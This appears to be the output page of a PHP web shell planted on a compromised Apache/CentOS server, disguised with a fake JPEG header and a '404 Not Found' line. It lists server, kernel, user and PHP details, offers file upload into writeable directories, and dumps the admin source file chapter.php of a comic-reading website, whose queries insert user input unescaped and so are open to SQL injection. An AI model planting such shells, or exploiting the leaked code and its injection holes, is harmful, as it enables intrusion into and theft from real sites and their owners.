����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/truyentranh/code/admin/posts/chapter.php
<?php
$truyen_id = $CORE->input['id'] ?? 0;
if($truyen_id==0){
    return false;
}
$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id'"));
$chap_id = $CORE->input['chap_id'] ?? 0;
$s = array();
$param_search = '';
$where = " AND t1.truyen_id='$truyen_id' ";
if(isset($CORE->input['s'])){
    $s = $CORE->input['s'];
    foreach ($s as $key=>$val){
        if($val!='') {
            $param_search .= 's['.$key.']='.trim($val).'&';
            if($key=='keyword'){
                $where .= " AND (t1.chuong_id LIKE '%".$val."%' OR t1.chuong_name LIKE '%".$val."%' OR t1.chuong_fname LIKE '%".$val."%') ";
            }
        }
    }
}
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 20;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong t1 WHERE 1 ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
/*$query = $DB->query("
select distinct t1.*,obs
from tb_chuong t1
join
(select t2.chuong_id,count(*) obs
from tb_chuong_img t2
group by t2.chuong_id) t2
on t2.chuong_id = t1.chuong_id
 ORDER BY t1.chuong_pos ASC LIMIT $from, $pageSize
 ");*/
$query = $DB->query("
select distinct t1.*
from tb_chuong t1
WHERE 1 ".$where."
 ORDER BY t1.chuong_pos DESC LIMIT $from, $pageSize
 ");
$list = '';
while ($row = $DB->fetch_row($query)){
    $txt_sensitive_chap_id = $txt_sensitive_chap = '';
    if($row['sensitive_chap_id']!=''){
        $arr_sensitive_chap_id = explode('@',$row['sensitive_chap_id']);
        $arr_sensitive_chap_id_new = array();
        foreach($arr_sensitive_chap_id as $val){
            if(intval($val)>0){
                $arr_sensitive_chap_id_new[] = $val;
            }
        }
        $txt_sensitive_chap_id = implode(',',$arr_sensitive_chap_id_new);
        $q_sensitive_chap = $DB->query("SELECT sensitive_chap_name FROM tb_sensitive_chap WHERE sensitive_chap_id IN (".$txt_sensitive_chap_id.") ");
        $arr_sensitive_chap_name = array();
        while($r_sensitive_chap = $DB->fetch_row($q_sensitive_chap)){
            $arr_sensitive_chap_name[] = $r_sensitive_chap['sensitive_chap_name'];
        }
        $txt_sensitive_chap = implode(',',$arr_sensitive_chap_name);
    }
    $locked_date='';
    if(!empty($row['lock_to_date'])) {
        $locked_date = date('d-m-Y H:i:s', strtotime($row['lock_to_date']));
    }
    $list .= '<tr id="tr_chap_'.$row['truyen_id'].'_'.$row['chuong_id'].'">
<td><input type="text" value="'.$row['chuong_pos'].'" name="chuong_pos['.$row['chuong_id'].']" class="form-control" style="width:90px;"></td>
<td><a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=posts&type=postchapter&id='.$row['truyen_id'].'&chuong_id='.$row['chuong_id'].'\',\'post chap\')">'.$row['chuong_name'].'</a></td><td>'.$row['chuong_number_img'].'</td><td>'.date('d-m-Y H:i',strtotime($row['time_post'])).'</td><td>'.$txt_sensitive_chap.'</td><td>'.$locked_date.'</td><td><a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=posts&type=lockchapter&id='.$row['truyen_id'].'&chuong_id='.$row['chuong_id'].'\',\'post chap\')"><i class="fas fa-lock"></i> Lock</a> <a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=posts&type=postchapter&id='.$row['truyen_id'].'&chuong_id='.$row['chuong_id'].'\',\'post chap\')"><i class="far fa-edit"></i> Edit</a> <a href="javascript:void(0);" class="del_chap" rel="'.$row['chuong_id'].'" title="'.$row['truyen_id'].'"><i class="far fa-trash-alt"></i> Delete</a></td>';
}
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=admin&code=posts&type=chapter&id='.$truyen_id.'&'.$param_search);

if(isset($CORE->input['type2']) && $CORE->input['type2']!='') {
    $type2 = trim($CORE->input['type2']);
    switch ($type2) {
        case 'update_pos':
            $truyen_id = $CORE->input['id'];
            $chuong_pos = $CORE->input['chuong_pos'];
            if(!empty($chuong_pos)) {
                foreach ($chuong_pos as $chong_id => $pos) {
                    $pos = floatval($pos);
                    $DB->query("UPDATE tb_chuong SET chuong_pos='$pos' WHERE chuong_id='$chong_id' ");
                }
            }
            $print->refresh('?act=admin&code=posts&type=chapter&id='.$truyen_id);
            break;
    }
}
?>

ZeroDay Forums Mini